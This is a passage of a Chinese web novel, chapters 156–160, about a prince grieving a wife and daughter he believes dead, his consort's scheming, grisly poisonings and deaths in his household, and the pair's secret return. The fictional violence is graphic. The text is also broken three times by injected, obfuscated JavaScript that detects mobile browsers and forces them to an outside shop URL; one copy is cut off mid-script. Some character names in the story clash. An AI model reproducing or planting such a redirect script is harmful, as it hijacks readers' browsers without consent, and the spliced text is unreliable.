飞在半空的脑袋甚至还能看到他的身体软软跪倒在地,握着刀的右手孤零零地跌落在另一边。 他的脑袋咕噜噜地滚到了顾时脚边,绊倒了想要跟着跳下悬崖的顾时。 最后追上来的裴望连忙拉住他,“顾兄,冷静,你先冷静。” 第156章 顾时,你负了我,你不得好死 顾时反手指着苏勇死不瞑目的脑袋,一双眼睛红得吓人,“我的妻子跟女儿都被这个畜生害得坠崖了,你让我怎么冷静?” 他亲眼看到了慕慕被苏勇逼到悬崖,对上她恋恋不舍却又绝望的眼神。 在她嘴型说出的“珍重”二字,像是一只无形的大手,狠狠地捏住他的心脏。 那种疼痛,与以往的任何疼痛都不一样。 那是一种,穿透身体每一寸经脉骨髓再停留在体内余韵不断的痛。 有那么一瞬间,他甚至都忘了呼吸,忘了自己身在何处。 更忘了自己跟苏勇的身份。 满脑子都是要给慕慕跟筱筱报仇,再随她而去 直到苏勇的脑袋就那样不甘心地瞪大眼睛看着他 这个无耻小人。 不仅与他的妻子通奸,还送了虞洪一顶绿帽子。 他哪来的脸不甘心? 天上不知道什么时候开始下起了绵密细雨。 很快,绵密细雨变成倾盆大雨。 带着凉意的雨水冲刷下,顾时身心的疼痛得到了缓解。 他痛苦地捂着胸口,像是下定了什么重大的决心,“来人。” 裴望跟王英早已在顾时失魂落魄的时候已经遣人到崖底搜寻。 如今看到顾时像是回光返照一样恢复正常,连忙上前。 “王爷,属下在。” 顾时推开了另外一名侍卫给他打的伞。 “我要下去崖底。” 刚才母女坠崖的场景过于震撼,直到现在,他都像是在做梦一样。 他不相信,前一天还跟他说,以后他们一家三口好好过日子的人,如今只剩下他一人 雨水依旧还在淅沥沥的落下。 天上残月不知何时半悬在云中,泛着淡淡的光。 在微弱的月光映照下,顾时的脸色惨白得像是夜行出来觅食的冤魂。 “如何了?” 到达崖底的第一件事,顾时就是拉着前来禀报的侍卫询问。 侍卫长为难地看了一眼还在潭底打捞的士兵,沉重地朝顾时半弯了腰。 “王爷,属下们已经尽力了,至今除了一片碎布,还是什么都没找到。” 王英在一旁规劝,“王爷,这深潭一直以来都不敢有人靠近,就是因为有传闻,潭中有食人鱼,说不定” “你闭嘴。” 顾时狠狠地瞪了王英一眼。 王英像是后知后觉反应过来自己失言,连忙捂嘴低头。 然而,有时候说出去的话就像是泼出去的水,饶是王英闭上了嘴,顾时还是不由自主地想到了母女二人尸体被潭中食人鱼啃噬的场景。 他的胸口倏然传来一阵阵疼痛,连带喉间也涌起阵阵血腥。 顾时咬牙硬是将这一口血腥之气咽了回去,硬声吩咐。 “回府抽调一部分人,前来继续找,找不到人,你们也别上来了。” 雨,又有变大的趋势。 淋在顾时身上,砸得他全身生疼,雨水冰凉冰凉的触感,连带沁入他的心扉。 此时,他心口位置传来的疼痛只增不减,心脏跳动有愈发迅速的趋势。 仿佛只要下一刻,他看不到她的模样,她就要昏过去。 不知过了多久。 雨停了。 天边泛起鱼肚白。 “找到了。” 不知道是谁的声音传来,划破了崖底诡异的寂静。 大片侍卫暗卫有条不紊地聚在谭边。 一具残缺且被泡得面目全非的女尸显现在人前。 顾时眼前一黑,差点晕了过去。 女尸此时残缺不已,怀中还抱着一个小小的骨架,很明显是被潭中食人鱼啃剩下的。 顾时一个趔趄后退了一步,几乎跌倒在地。 “不,不可能。” 因情绪激动,他胸口翻涌的血气再也压不住,骤然涌向喉间,他直接喷出一大口鲜血,白眼一翻,晕了过去。 “王爷。” 崖底顿时乱成一团。 “阿时,你过来,我给你留了银耳莲子羹。” 少女的模样娇俏,顾时仿佛回到了当年两人还在丹阳之时。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287875|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “阿时,以后我们的孩子就叫筱筱,大名你来给她取?” “不,筱筱这个名字就很好,一看就是万千宠爱集于一身,我顾时的女儿,以后定然都要给她最好的。” “阿时,辜负真心的人,会不得好死,死后下了地府,也要每天受吞针之苦以及锥心之痛,你莫要负我。” “我不会的。” “顾时,你负了我,你不得好死。” 眼前沈慕兮的模样逐渐从娇俏少女变成温和少妇,最后变成一年前她看到他时候歇斯底里的模样。 最后,定格在她在荣辉堂揭下脸皮的那一刻。 少女从满眼柔光,到后面,眼底几乎盈满了对他的恨意。 慕慕为何要恨他? 不。 慕慕。 不要恨他。 顾时从梦中惊醒。 “慕慕!” 陈十六守在床边。 听到动静,立刻上前查看。 “王爷,您终于醒了。” 紧接着,就是一阵急促凌乱的脚步声。 顾时的眼神逐渐聚焦。 眼前的床帐是浅色织有繁复祥云纹路的床帐,并不是丹阳的摆设。 这是 他在主院的卧房。 脑袋一片混沌,集中精神想事情极为费神。 就在他想要再次闭目养神之际,耳边传来了一个陌生又熟悉的温柔女声,“顾时哥” 晕过去之前的场景迅速回笼,顾时不知道哪来的力气,迅速探出手将苏柳溪毫不留情地拖到身前质问开口,“你对慕慕跟筱筱做了什么?” 因为撞到床上,苏柳溪的脸又生理性疼痛,连眼泪都要冒出来了。 “我没有” 她的声音柔弱又无辜。 顾时没有理会她的狡辩,径自下床就要往外走。 奈何,他的身体虚弱,脚才落地就像踩在棉花上,一不小心,跌入了陈十六的怀中。 苏柳溪急切开口,“顾时哥,你要去哪里?大夫说了,你现在身体还很虚弱,不能乱动” 第157章 苏柳溪露出本来面目,顾时窝囊又无能 顾时哪里听得进苏柳溪的劝告? 散乱的记忆逐渐回笼,最后定格在苏勇脑袋被削掉的那一刻。 再看苏柳溪如今的模样,哪有半分伤心? 他忍不住开口问道,“苏勇去哪了?” 苏柳溪如今还能这么冷静,无非就是两个结果,要么就是苏勇的死被苏府的人发现并且压下去。 要么就是苏柳溪知道苏勇已死,而她现在则是在粉饰太平,好找到合适的机会,对荣郡王府进行报复。 不管是哪一样,苏氏都已经不能留在他的身边了。 想到这里,顾时的眼神像是实质的刀子一般直直指向苏柳溪。 “苏勇在哪?” 他再次声音冷沉地开口。 因为刚刚清醒过来,胸口还萦绕着阵阵锥心痛楚。 纵然他心中怒火滔天,问出来的声音却是有气无力。 苏柳溪用帕子擦了擦眼角未干的泪痕,“勇弟前两天在回京的路上遇到贼匪,受伤严重,这会还在苏府躺着呢。” 苏康没死? 顾时的眼底瞬间瞪圆了。 “顾时哥”像是没有发现顾时的异常,苏柳溪还想再劝解些什么。 手上一紧,她被陈十六眼疾手快拉到了一边。 一个软枕擦着她的耳边砸过。 “滚。” 不知道是哪个字刺激到了顾时,此时他看向苏柳溪的目光像是在看仇人。 向来温情脉脉的眸子,红血丝密布,仿佛下一刻就能从床上跳下来咬掉苏柳溪的脑袋。 陈十六想要劝苏柳溪先回去,还未开口,就被苏柳溪先抢过了话茬。 “陈侍卫,你先退下。” “王妃” 陈十六眼带担忧地看向苏柳溪,却被苏柳溪的眼神阻止了他即将到嘴边的话。 顾时将两人的互动收入眼底,后槽牙都要咬碎了。 陈十六退下后,苏柳溪也没有再维持那副柔弱的小白花模样。 居高临下地看着脸色惨白的顾时。 “欲加之罪,何患无辞,现在沈慕兮母女已经死了,你不管要对我做什么都是于事无补” “她们母女到底碍着你什么了?竟会让你这般一而再再而三地对她们下毒手?” 看到苏柳溪现在这个样子,顾时还有什么不明白的? 当时沈氏一直在他面前哭诉苏柳溪故作柔弱,想要害她跟筱筱,让他不要被苏柳溪骗了。 他还以为是沈氏妒火攻心,抹黑苏柳溪 懊悔再次如同藤蔓一般紧紧缠上顾时的心,好不容易缓过来的抽痛感再次袭来。 顾时痛苦地闷哼一声。 苏柳溪仿佛没有看到顾时的痛苦,冷笑一声,“呵,她们碍着我什么?她们挡了道,我恨不得她们立刻死在我面前。” 说到这里,她微微俯身,眼底是毫不掩藏的轻蔑。 让顾时仿佛回到了当初刚被流放,他想见她最后一面,却被苏府的下人远远拦下。 他只能看到她路过的轿子。 微风袭来,掀起了轿子的纱帘,他匆忙一瞥,看到了坐在软轿里的她 如今她的表情,与当时坐在轿子里的她如出一辙 饶是顾时曾经安慰自己只是看错了,现在事实摆在眼前,也轮不到他不承认。 他曾经爱过的、心心念念的白月光,到头来不过只是一个虚伪的小人。 偏偏他那会却像是被猪油蒙了心,对她偏听偏信,把那个满心满眼都是他的女子弄丢了 他的喉间哽咽,像是被上百根银针同时扎入,几乎是用尽全身力气,他才从嘴里挤出一句话,“苏柳溪,你个毒妇。” 字字带着血腥味。 他哽着脖子,仿佛下一刻就要晕过去。 苏柳溪对他的评判仅仅只是怔愣了一瞬间,很快又仪态万千地抚了抚鬓边松散的发髻,“有道是无毒不丈夫,怎么,大丈夫能很毒,我就不能狠毒了?” “顾时,我劝你还是考虑清楚,我背后是整个苏家,若是你还要执迷不悟,那就是要为了那对母女,与我苏家为敌,你荣郡王府,能够经得起我苏家的打击吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287876|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏柳溪的话犹如一根闷棍狠狠敲在顾时的脑袋上,让他混沌的思绪逐渐变得清醒。 看到顾时脸上的迟疑,苏柳溪就知道,自己提起苏家是对的。 “你要想清楚,到底是你荣郡王府重要,还是那对来历不明的平民母女重要;我苏柳溪,从来不屑与没用的男人为伍。” 顾时的眼底瞬间没了光彩。 他安静地躺回床上,像是放弃了挣扎的困兽,浑身上下散发着淡淡的死气。 “你算计我?” 他的语气极为平淡,仿佛在陈述一个事实。 “对,从一开始我就在算计你。”事到如今,苏柳溪也不隐瞒了,“我只恨我自己,当初为什么要一意孤行选择了你,明知道你是这样怯懦且自私的一个人,却还是要冒着被虞府人吊死的风险帮你一把。” 听到苏柳溪提及虞家,顾时转身缓缓闭上眼睛,彻底不再说话。 身上的精神气,仿佛在看清苏柳溪真面目的那一刻全数被抽空,此时他的身子 佝偻得像垂暮老人。 “你滚,我不想再看到你,滚。” 他的声音有气无力且沙哑,却带着无比坚决的态度。 苏柳溪不为所动,挑眉看向他,“顾时,我们注定要纠缠至死,可笑的是,你个懦夫,连死的勇气都没有。 嘴上一直告诉别人自己有多么想恕罪,事实上却是什么都不做;但凡你能在沈慕兮母女死的时候跟着殉情,我都能高看你一眼。” 顾时的双拳紧紧攥起。 胸口位置传来一阵阵绞痛,痛得他连呼吸都困难。 泪意汹涌,他却只能极力隐忍,不让自己被苏柳溪发现自己落泪。 窝囊且无能。 不知道过了多久,身后已经完全没有了动静。 顾时才调不成调地小声哽咽,“慕慕筱筱我错了” 主院剑拔弩张,荣辉堂也不见得和平。 “我不管你们用什么方法,总之,我要让苏氏立刻来见我。” 在摔碎第三十二个茶盏以后,康氏的耐性基本告罄。 第158章 虞悦希中毒,指甲带着血肉掉出来 沈慕兮惨死的消息与顾时一同被带了回来荣郡王府。 前一天已经没有换药的康氏,膝盖位置像是被人生生挖出来一样疼痛,在知道沈慕兮惨死的那一刻,更是双眼一黑,晕过去了一轮。 要知道,她的腿,现在是恢复期关键。 要是处理不好,是整个腿都要掉出来的!! 偏偏,前一天就是换新药的第一天。 想到这里,康氏的肠子都要悔青了。 若是她当时肯收敛一下自己的暴脾气,不那么小气,只想着给沈慕兮教训,说不定,她的腿今天就不会痛了 苏婆子心疼地想要为她拭去额前冷汗,被她毫不留情地打开了手。 “我之前没有听你的话,你现在是不是很得意?觉得我的腿活该这样?” 康氏心里涌上了一股连自己都不能控制的怒意。 苏婆子闻言,连忙红着眼跪在地上,“老祖宗,老奴承蒙您的青眼才能得了在您身边伺候的机会,这已经是老奴天大的福分,老奴还怎么敢对您有那种不敬的想法?” “老奴只是心疼老祖宗受罪,说到底,还是那个沈姑娘不靠谱,但凡她能多坚持一会,说不定老祖宗您就会留下她,气性太大,害人害己。” 说到后面的时候,苏氏对沈慕兮的厌恶几乎要溢出眼眶。 身心的痛楚有了分担的人,康氏的脸色总算没有那么难看,“可是,我的腿,现在要怎么办?难道真的让她像苏氏所说那样自己掉出来吗?” “老奴以为,这个事情,沈姑娘跟王妃算是各打五十大板,王妃若是一直不见您,咱们也可以想办法逼她见您。” “逼?” 康氏眼底闪过一丝迷茫。 苏婆子点头,“之前您这么维护王妃,可是在您需要她的时候,她却对您不闻不问,这种事情,不管放到哪里,都是说不过去的。” 康氏一下子明白了苏婆子的意思,可是 “我的腿现在不能等了啊” 现在整个寝室都是她腿上的腐臭味,不管下人给她擦多少次身味道依然浓郁。 有时候,她甚至都想要怀疑,自己是不是已经被腌入味了。 “该死的沈氏,我当初就应该在知道她回来的那一天先灭了她,如此一来,就免去了许多麻烦。” 站不起来又怎么样? 起码她的腿还是在的啊。 但是如今,沈氏给她换药到一半就死了,她的腿万一真的掉了,那还不如当初不治。 苏婆子仿佛看穿了她心中所想,迟疑片刻,开口道,“之前沈姑娘有跟老奴提及关于药膏的用法用量,但是老奴不确定” “那还等什么?”康氏只听到了自己想要听的那一截话,“还不赶紧帮本王妃上药。” 苏婆子还是有点迟疑,“可是,用量以及包扎方法,老奴并不清楚” “沈氏不是已经把用法用量告诉你了吗,还能有什么不清楚?”康氏急切地打断了她的话,“这东西,肯定是用的越多,越能帮本王妃的腿恢复,至于包扎,每次沈氏来来去去都是拿着绷带缠那么几下再打个活结,你也一直在旁边看着,没吃过猪肉,总能见到猪跑吧。” “可是” “你这老货,”康氏此时整个身心都在被那条残腿占满,早已没了思考能力,“我让你来你就来,若是你不来,以后也别待在我身边了。” “别” 生怕康氏会说出什么更加激动的话,苏婆子急忙阻止,“老祖宗莫要再说气话,老奴尽力就是了。” 落霞苑。 一声尖锐的惨叫几乎要将整个落霞苑的屋顶掀起。 虞悦希满手满脸血肉模糊倒在地上。 因为痛苦,她不停地在地上打滚,试图用其他感觉舒缓十指连心的疼痛。 “啊!!好痛好痛!!” 她眼泪血水糊了一脸。 守在她身边的丫鬟想要搀扶却不知道如何搀扶,只能无助地站在一边,朝随后而到的辛婆子递过去求救的眼神。 辛婆子到底也是曾经跟在王妃身边的婆子,在一众下人之中,她冷静得格外出众。 所有人看到她,仿佛有了主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏柳溪听着觉得奇怪,却也没有心思去问刘大夫的儿子去哪了。 此时她只想知道,女儿突然变成这样,到底是怎么回事? 良久,小刘大夫收回了搭在顾筱筱的手。 摇头叹气,“小姐这是中毒了。” 他的话一出口,在场所有人的心都紧紧揪起来,“毒?” 第159章 荣郡王府天塌啦!! 苏柳溪被几个丫鬟按在床上,依旧哀嚎不断。 刚才挣扎的时候,手背位置硬是被一个叫珠儿的圆脸丫鬟搓下了一层皮。 惨叫声再次响彻整个落霞苑。 苏柳溪实在忍受不了苏柳溪魔音攻击,直接让小刘大夫出去外头说。 屋外。 小刘大夫紧蹙的没有就没有松开过。 苏柳溪难得面怒愠色,“到底是什么毒?竟这般惨无人道?” 小刘大夫嘴唇微动,似是斟酌语言,却半个字说不出来。 “小刘大夫不妨实话实说。” 苏柳溪抬手对刘大夫做了一个“请”的动作。 小刘大夫似是下定了很大的决心,朝苏柳溪拱手躬身,“容草民多言问一句,不知小姐之前可有接触过一些尸体残骸一类的东西?” 苏柳溪心头迅速“咯噔”了一下。 “小刘大夫何出此言?” “不瞒王妃,小姐中的是一种奇怪的尸毒。 这种毒,草民也只是在一本古籍上看过,早已在百年前失传。 中毒者,在中毒之前必定是接触过一些尸体残骸类或者常年接触血腥才会毒发这么迅猛...” 可不是迅猛吗? “中毒者从最开始的只是掉指甲,到后面发丝连带头皮血肉一起掉出来,之后就是身上的血肉... 这种毒的歹毒之处,就是中毒者看似癫狂,实际上精神很正常,她们会眼睁睁地看着自己的血肉掉落直至剩下骨架,无助地想要寻求帮助,却被亲近的人当成是疯症... 最后绝望惨死或自戕...” 光是听着小刘大夫的描述,苏柳溪只觉得窒息。 “到底是何人这么歹毒?居然连孩子都不放过。” 小刘大夫在一旁小声恭敬开口,“能出现在古籍上且失传的奇毒,基本上都有失传的理由,或过于歹毒,或枉顾人伦因而被江湖所禁止...” 听到小刘大夫的话,苏柳溪整个人如坠冰窖,“那我的孩子怎么办?难道就只能让我眼睁睁地看着她...” 后面的“死”字,她哽在喉间,死活说不出来。 她的情绪激动,小刘大夫眼看不对劲,连忙跪地,语气带着无奈,“请恕草民才疏学浅,这种奇毒,炼制的条件极为严格,若是解毒药物用错,随时都会让患者一命呜呼,通常只有下毒者才会有解药,否则...” 后面小刘大夫说的话,沈慕兮完全听不进去。 此时她的脑子里嗡嗡的,回荡的都是刘大夫口中的“绝望惨死”四个字。 她努力按捺心中悲伤,让自己的语气恢复平静,“我知道了,有劳小刘大夫。” 说话间,苏柳溪唤来了翠娥,“好好送走小刘大夫。” 她的目光带着冷意,翠娥一下子明白了她的想法。 应是以后,客气地带着小刘大夫退下。 房间之内弥漫着血腥跟烂肉的腐臭味。 虞悦希还在惨叫不断。 丫鬟们不敢对她太用力,生怕一不小心,将她身上的某块皮肉扯下来。 而不敢太用力的代价,则是让虞悦希很快就挣脱了下人的钳制,抬手扯下了自己一大片带着皮肉的头发。 鲜血淋漓... 苏柳溪心中一痛,连带语气都变得阴森刻薄,“都傻了不成?没看到小姐现在遭罪吗?” “若是再让小姐自己对自己造成伤害,本王妃就让你们陪葬!!” 许是血脉相连的缘故。 虞悦希越是痛苦,苏柳溪竟然也开始有了切身的痛楚。 就在这时,荣辉堂的苏婆子也浑身是血地冲进了落霞苑,几乎抖成筛子跪在了苏柳溪的跟前。 “王妃,我们老祖宗出事了。” ... 半柱香后。 苏柳溪紧赶慢赶,赶到荣辉堂。 远远就闻到了浓郁的血腥味。 她眉心紧皱。 脚下步子也快了许多。 荣辉堂的半空,不时回荡康氏的哀嚎,等苏柳溪赶到的时候,她的哀嚎声已经逐渐虚弱,变得进气多出气少。 地上一片狼藉,血污满地,一条腐烂得只剩下森森白骨的断腿在一旁孤零零地躺着。 “这到底是怎么回事?” 伺候在周围的丫鬟婆子看到苏柳溪前来,纷纷跪了一地。 秦寿很快请来了另外的几位大夫。 苏柳溪顾不得问罪,立刻吩咐大夫给康氏问诊。 看到地上的一片狼藉,几个大夫脸色同时大变。 连带跟在大夫后面的药童,都顾不得被屋子里味道熏得发青的脸色。 默契地从药箱里摸出布帕遮挡口鼻。 其中一个须发花白的老大夫率先上前为康氏号脉,并且翻了翻康氏的眼白。 好一会,他才朝另外几位大夫摇头。 “如何了?” 苏柳溪以丝帕掩鼻,强忍着想要吐出来的感觉,心里沉重不已。 康氏该死,可是她不能在这种时候死。 老大夫走到苏柳溪跟前告罪,“请恕小老儿无能为力,老王妃已经...” 几乎就在同时,在一旁还未来得及被清理的断腿里,传来了“咔嚓咔嚓”的声音。 那声音就像是虫子咬在木板上,极为清脆。 每一口咬下去的声音穿透所有人的耳膜,像是咬在所有人的心口上,让人极为不适。 那位老大夫的脸色早已从最开始的苍白,变成青灰。 只见他整个人从胡子到全身都在发抖,“快...快离开这里,放火...” 老大夫话音未落,“咔嚓”声停止了,一只通体漆黑后背有着斑斓色彩的虫子突然跳到了老大夫的脖子上,老大夫顿时身首分离,一双浑浊的老眼之中,甚至连惊恐的神色也只保留了一半。 苏柳溪如梦初醒,也顾不得所谓的形象不形象了,率先往外跑。 “快,快离开这里。” “师父。” 事情发生突然,老大夫的小药童只来得及哭了一声,就被另外一个稍微年轻一点的老大夫拖出去了。 “这食人虫在这里,你还叫,不要命了吗?” 慌忙之下,不知道是谁打翻了烛台落在了康氏的尸体上。 本来还未完全僵硬的尸体遇火立刻点燃,顷刻之间,火舌卷遍整个房间... 荣辉堂内,惨叫声,呼救声连绵不绝。 荣郡王府天塌啦!! ... 蜿蜒曲折的小路上。 一辆低调的马车疾驰飞奔,扬起一片片灰尘。 马车内,沈慕兮、顾筱筱、红豆、贺月依次坐好。 顾筱筱窝在沈慕兮怀里,一脸娇憨地仰首看向沈慕兮,眼底是毫不掩饰的孺慕之情。 “娘亲,以后筱筱是不是可以跟你永远不分开了?” 沈慕兮怜爱地伸手点了点顾筱筱小巧的鼻子。 “对,娘亲以后跟筱筱都不分开。” 顾筱筱闻言,更加欢喜,“好啊,好啊,筱筱真是全世界最幸福的姑娘。” “傻丫头。” 沈慕兮早在离开京城的第一天就恢复了沈曦的模样。 顾筱筱一开始虽然难以接受,可细看之下,发现娘亲除了比之前更年轻,更漂亮,模样好像没有太大的改变。 没过半个时辰,又欢天喜地地抱着她的手臂“娘亲前娘亲后”。 一路通畅无虞。 沈慕兮母女二人回到南渊的时候,已将近仲夏。 此时南渊的格局已经发生了巨大的改变。 首先是太傅府与沈府反目,紧接着是安平侯因为犯事,被褫夺了爵位,安平侯世子杜衡直接变成杜公子。 以后即使要见沈慕兮,只怕也得层层递拜帖。 城门外。 一个挺拔的身姿站在最前头。 不等沈慕兮开口,顾筱筱已经率先跳下了马车,飞奔向那个人。 “景叔叔。” 慕容景衍半蹲下身子,接受了顾筱筱的拥抱。 十分自然地牵起了顾筱筱的手。 沈慕兮反而警惕地看向四周,“你现在不怕被人看到吗?” “本宫的妻女被有心人掳走,好不容易找回来,自然要亲自回来迎接,有什么问题?” 沈慕兮好奇地打量了慕容景衍一眼,总觉得这人变了,又好像没变。 很快,他们回到了小东宫。 “我要先回去沈府...” “现在已经变回县主府了。” 贺鸿在一旁提醒。 沈慕兮震惊了。 她不过只是离开了两三个月,居然... 似是看出了沈慕兮的不自然,慕容景衍状似随意地开口道,“该是你的,本宫会帮你讨回来,但是不白帮忙,后面本宫要你配合的事情,你须得好好配合本宫。” 沈慕兮没有说话。 早在回来的时候,慕容景衍就大致说了现在邺城的情况。 如今虽说他现在的权柄收拢回来了一些,可是终究还是不够。 他需要的是要将整个朝堂的权柄都拢在手上。 “那你现在的人,占朝堂大概多少?” “四分之一。” “所以,这次围猎,对我的意义重大。” 若是成了,他的地位基本上已经是到了无法撼动的地步。 若是不成... 慕容景衍的眼底闪过一抹残忍的冷意。 “没关系,你帮了我,我总要帮你。” 最重要的是,荣郡王府那边,没有亲眼看到那些人的下场,她心里没底。 ... 在小东宫小聚到半夜。 沈慕兮才想要带着顾筱筱离开。 “虽说如今县主府比以前要安全,可是,防人之心不可无。” 慕容景衍提醒道。 “我以为,筱筱这些天还是住在小东宫比较合适。”沈慕兮有点不赞同。 “我们的婚事已经提上日程,有多少眼睛盯着,是你想象不到的。” 经慕容景衍这么一提醒,沈慕兮也反应过来。 若真如同慕容景衍所说,那么,将顾筱筱带回去苏府,确实不是一个好的选择。 “好,这些天,筱筱就拜托你了。” 到底两人也是合作关系,慕容景衍只要不傻,暂时还是不会对筱筱不利。 “娘亲...”顾筱筱依依不舍地看着沈慕兮。 小姑娘的鼻头红红,看得她的心都要化了。 “筱筱乖,娘亲很快就会回来。” 为了安全起见,沈慕兮还将绿萝留在了顾筱筱身边。 绿萝在贺月面前,只是一个手脚麻利、八面玲珑的丫鬟。 没人知道,除了那些,绿萝还轻功了得,若是发生什么事,她起码可以带着筱筱施展轻功逃命。 沈慕兮从小东宫的马车上下来。 匾额上“县主府”几个漆金大字,让她有一种恍如隔世的感觉。 也不知是身体的感觉还是脑子里的记忆,亦或是,她至今还受到沈曦的影响。 她的眼眶微微发烫。 沈曦,你看到了吗? 沈府,现在变回县主府了。 仿佛是对她的回应。 一阵带着暖意的风轻轻拂过,撩起她鬓边的碎发,像是有人在抚摸她的脸一样。 我们,回家了。 她心中默念一句。 然而,她才刚走上大门前。 任她如何敲门,大门都不愿意打开。 贺月是被慕容景衍安排在沈慕兮身边的。 “姑娘退后,我来。” 沈慕兮点头,后退了几步。 贺月的功夫很俊,一下子就将县主府的大门踹开。 几个下人正在嗑瓜子。 在大门被踹开的时候,他们甚至连手上的瓜子都还没放下。 其中一个下人,一眼就认出了沈慕兮。 “大小姐?是大小姐回来。” 一声轻唤,犹如巨石投入湖中,荡起一片片涟漪。 沈家其他人连忙出来。 连沈老夫人都被放在轮椅上推出来。 “见过大小姐。” 沈钏海看到沈慕兮,第一时间就是想要上前对她动手,被身旁的两位小厮狠狠制住了。 负责看门的小厮朝沈慕兮赔罪,“大小姐见谅,前些天自从沈府变成县主府以后,每天有沈大人的旧识前来想要救沈大人一家于水火,小的们也是没办法啊。” 小厮态度良好,语气真诚,沈慕兮反而笑了,“你们这是在为本小姐守住家门,何错之有?不仅无错,还有赏。” 转头,她朝贺月吩咐了一句,“给府里的其他人都发了赏银,若是照料有功,多发几个。” “是。” 县主府一片其乐融融。 沈慕兮在这一片热情之中,很快回了自己的院子。 红豆试探性询问,“小姐,需要奴婢...” 一边说着,她一边用手比划了一个割脖子的动作。 “不必这般费心。”沈慕兮摇头。 慕容景衍已经让沈钏海在家思过,现在只等围猎一过,沈钏海一家没了用处,自然多的是人要他性命。 “是。” 第160章 顾时一夜白头反而成就了自己的仁孝美名 与此同时。 荣郡王府挂满缟素。 王英一脸沉痛地敲开了顾时的书房门。 “王爷,七天之期已到,老王妃明日就可以下葬了。” 黄花梨木背椅挡住书案之后的人的背影。 只传来了那人沙哑且毫无生机的一个“嗯”字。 王英嘴巴微动,似是有其他话想要说,眼角余光看到一个素色身影,他到嘴边的话硬是变成了“王妃来了,想要见您。” “让她回去。” 书案后的人,声音依旧冷酷无情。 “不可能。” 苏柳溪来到书房前,刚好听到了这句话,想也不想就开口反驳。 转头看到王英还杵在原地,她眉心微蹙,“我跟王爷有事相商,你先退下吧。” 王英为难地看了一眼顾时的方向,后者似是看出了他的为难,颔首,“退下吧。” 椅背后的人影微动,露出了一截雪白发顶,苏柳溪双目通红。 记忆不由得飘回去七天前—— 老王妃咽气、荣辉堂走水。 她第一时间遣人赶往主院,让人通知顾时,结果却得来下人告知,说顾时自行离了府。 她费尽心思寻了他整整一夜,好不容易从裴望口中得到了他的消息,在木兰山断崖下寻到他。 没想到看到的却是一个满头白发、面容憔悴的男子,眼神空洞地靠坐在洞穴的冰棺旁,冰棺里,是两具难舍难分且残缺的尸体。 而他的脚下,还滚动着好几个已经空了的酒坛子。 苏柳溪骇然开口,“顾时哥,你现在的身体情况怎么能喝酒?” 找到人那一刻的激动,因为看到他的满头白发而尽数散去。 她不过才与他分开了一夜... 还没等她震惊完,一个碎裂在她脚边的酒瓶将她的注意力全数拉回。 “你滚。” 他双目通红,也许是因为靠坐在冰棺旁太久,寒气入了体,所以他站起来的时候,整个人十分笨拙。 粗糙如柴的发丝随着他大幅度的动作胡乱摆动,又凌乱了许多。 眼前的顾时是苏柳溪从没见过的癫狂模样,就在他拿起手边的另一个酒坛准备砸向她而她正躲无可躲的时候,他竟忽然双眼紧闭,直挺挺地昏了过去。 许是因为时间太过巧合,所有人都以为他的一夜白头,是因为母妃突然离世的缘故。 阴差阳错地成就了他的仁孝美名。 即使他没有任何情绪波动,也会有人跳出来说他这是哀莫大于心死。 真是可笑至极。 书房内死寂一般安静。 苏柳溪终究忍不住,再次开口,“你还要颓废到什么时候?” 她的双手紧紧掐住手心,生怕一不小心就泄露了她内心的真实想法。 她没有执著顾时为何不转身面对自己。 自从七天前,老王妃死在荣辉堂,而后荣辉堂走水,她前去看望顾时,发现顾时一夜白了头,她就知道,在顾时这里走感情牌已经完全没有用处了。 所以... 她决定,走另外一条路。 “难道,沈慕兮母女死了,你还打算丢下我、丢下诺达的荣郡王府跟她们母女陪葬不成?” 一个刺耳的“死”字,彻底成为了压垮顾时强撑着一口气的稻草。 他豁然站了起来,面容憔悴。 一头雪白的青丝披散,看上去像极了被锁进牢笼之中做最后挣扎的困兽。 “她们没死。”他先是激动地反驳了苏柳溪的话。 随后像是自言自语安慰自己一般开口,“她们没死...一定是哪个环节错了。” 之前冷苑走水,不也有很多人告诉他,沈慕兮母女已经死了,可是最后她们母女不是也安然无恙回来、回到他身边了吗? 她们没死,对,一定没死。 “她们现在肯定还在某个角落,在等着我去救她们。” 像是被自己说服了一半,顾时前一刻还如同一潭死水的眼眸,瞬间漾起了异样的光芒。 落在苏柳溪的眼里,顾时已经精神失常。 她从没发现,顾时竟是一个受不住半点打击的懦夫。 早知如此... 罢了,如今早知什么都没用。 从某种意义上来说,她与顾时一样,只愿意相信自己看到的,他们何尝不是一类人? 她深呼吸一下,上前拦住了顾时的去路。 “母妃跟悦悦都被下了毒,难道你就没有想过这是为什么?” 顾时停下了脚步,向来潋滟的眸子像是淬了霜雪,“你什么意思?” “我怀疑是沈慕兮...” “你闭嘴。” “沈慕兮”三个字,如今在顾时这里,是任何人都触碰不得的禁忌。 哪怕只是有人轻轻叫一声,他的心脏都像是被万根细针同时扎上一样疼痛。 “你不配提她们,当初若不是你...” “顾时,”苏柳溪红着眼眶愤怒地打断了顾时的话,“难道你还看不清楚吗?以前你对她是什么样的?那个女人,分明就是回来报复的,你看看,她回来才多久,王府变成什么样了?” 